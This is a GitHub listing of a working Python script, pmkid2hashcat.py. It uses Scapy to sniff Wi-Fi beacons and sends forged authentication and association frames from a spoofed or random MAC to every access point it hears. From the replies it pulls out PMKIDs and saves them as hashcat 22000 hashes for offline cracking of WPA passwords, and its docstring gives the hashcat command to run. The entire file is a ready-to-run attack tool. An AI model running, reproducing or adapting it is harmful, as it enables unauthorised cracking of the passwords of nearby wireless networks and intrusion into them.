-
Notifications
You must be signed in to change notification settings - Fork 0
/
pmkid2hashcat.py
executable file
·193 lines (156 loc) · 6.31 KB
/
pmkid2hashcat.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
#!/usr/bin/python3
"""
python3 ./pmkid2hashcat.py -i wlan1mon
hashcat -m 22000 hashes.file <wordlist>
Needs://
- git clone https://github.com/stryngs/packetEssentials
- git clone https://github.com/stryngs/easy-thread
- git clone https://github.com/stryngs/quickset
"""
import argparse
import binascii
import packetEssentials as PE
import quickset as qs
import sys
from easyThread import Backgrounder
from scapy.all import *
class Shared(object):
"""Share a class for backgrounding"""
__slots__ = ['args',
'beaconSet',
'capSet',
'essidDict',
'pmkDict',
'bH',
'bkts',
'pkts']
def __init__(self, args):
self.beaconSet = set()
self.args = args
self.capSet = set()
self.essidDict = {}
self.pmkDict = {}
self.bH = self.beaconHandler()
def beaconHandler(self):
"""Parse which PMKIDs have been gathered and only ask once."""
def snarf(packet):
if packet[Dot11].addr2 not in self.beaconSet:
if len(packet[Dot11Elt].info) > 0:
self.essidDict.update({packet[Dot11].addr2: packet[Dot11Elt].info})
## Active sniffing assist
if self.args.f is None:
self.pmkAsk(self.args.i, packet[Dot11].addr2, packet[Dot11Elt].info)
## This prevents firing more than once
self.beaconSet.add(packet[Dot11].addr2)
return snarf
def beaconBackgrounder(self):
p = sniff(iface = args.i, prn = self.bH, lfilter = lambda x: x.haslayer(Dot11Beacon), store = 0)
def pmkAsk(self, iFace, tgtMac, tgtEssid):
"""Try and obtain the PMKID
Based on experimentation with hcxdumptool
"""
if self.args.random is True:
qs.sh.macTx = RandMAC()._fix()
else:
qs.sh.macTx = 'a0:12:34:56:78:90'
qs.sh.macRx = tgtMac
qs.sh.essid = tgtEssid
auth1 = qs.supplicants.authenticate()
auth1[Dot11].SC = 16
auth2 = qs.supplicants.authenticate()
auth2[Dot11].SC = 32
ourAssc = qs.supplicants.associate()\
/Dot11EltRSN(binascii.unhexlify('30140100000FAC040100000FAC040100000FAC020C00'))
ourAssc[Dot11].SC = 48
sendp([auth1, auth2, ourAssc], iface = iFace, inter = 1, verbose = False)
def pmkRip(packet):
"""Attempt to rip the PMKID"""
try:
pmkid = PE.pt.byteRip(packet[Raw].load,
order = 'last',
qty = 16,
compress = True)
if pmkid[-1] != 0:
return pmkid
else:
return False
except Exception as E:
print(E)
return False
def lFilter():
"""Filter Handler"""
def snarf(packet):
if packet.haslayer(EAPOL):
if packet[EAPOL].version == 2:
return True
return snarf
def packetHandler(sh):
"""Packet Handler"""
def snarf(packet):
if packet[Dot11].addr2 not in sh.capSet:
pmkID = pmkRip(packet)
if pmkID is not False:
if '00000000000000000000000000000000' != pmkID:
## ESSID MAC: packet
sh.pmkDict.update({packet[Dot11].addr2: packet})
## Set PMKID
ourHash = pmkID + '*'
## BSSID
ourHash += packet[Dot11].addr2.replace(':', '') + '*'
## Tgt MAC
ourHash += packet[Dot11].addr1.replace(':', '') + '*'
## ESSID
if packet[Dot11].addr2 not in sh.capSet and sh.essidDict.get(packet[Dot11].addr2) is not None:
try:
## Calculate hash
ourHash += str(binascii.hexlify(sh.essidDict.get(packet[Dot11].addr2)).decode())
print ('Obtained PMKID ~~> ', ourHash + ' -- ' + sh.essidDict.get(packet[Dot11].addr2).decode() + ' -- ' + packet[Dot11].addr2 + '\n')
## Store results
with open('hashes.file', 'a') as oFile:
oFile.write(ourHash + '\n')
with open('hashes.log', 'a') as oFile:
oFile.write(ourHash + '*' + sh.essidDict.get(packet[Dot11].addr2).decode() + '\n')
## Update capture set
sh.capSet.add(packet[Dot11].addr2)
except Exception as e:
print('\n\n')
print(e)
print ('Error on line {}'.format(sys.exc_info()[-1].tb_lineno))
return snarf
def main(sh, args):
## Ignore any existing hashes
try:
with open('hashes.file') as iFile:
x = iFile.read().splitlines()
cSet = set([i.split('*')[1] for i in x])
for cap in cSet:
sh.beaconSet.add(':'.join(a + b for a, b in zip(cap[::2], cap[1::2])))
except:
pass
if len(sh.beaconSet) > 0:
print('Excluding:\n ', sh.beaconSet)
## Filters and such for EAPOLs
pHandler = packetHandler(sh)
LFILTER = lFilter()
## Live
if args.i is not None:
## Background Beacon sniffing
Backgrounder.theThread = sh.beaconBackgrounder
bg = Backgrounder()
bg.easyLaunch()
## EAPOL sniffing
pkts = sniff(iface = args.i, prn = pHandler, lfilter = LFILTER, store = 0)
## PCAP
else:
bHandler = sh.beaconHandler()
sh.bkts = sniff(offline = args.f, prn = bHandler, lfilter = lambda x: x.haslayer(Dot11Beacon), store = 0)
sh.pkts = sniff(offline = args.f, prn = pHandler, lfilter = LFILTER, store = 0)
if __name__ == '__main__':
parser = argparse.ArgumentParser(description = 'pmkid2hashcat')
group = parser.add_mutually_exclusive_group(required = True)
group.add_argument('-f', help = 'PCAP to parse', metavar = '<capture file>',)
group.add_argument('-i', help = 'Interface to sniff on', metavar = '<sniff nic>')
parser.add_argument('--random', action = 'store_true', help = 'Random MAC for Tx')
args = parser.parse_args()
sh = Shared(args)
main(sh, args)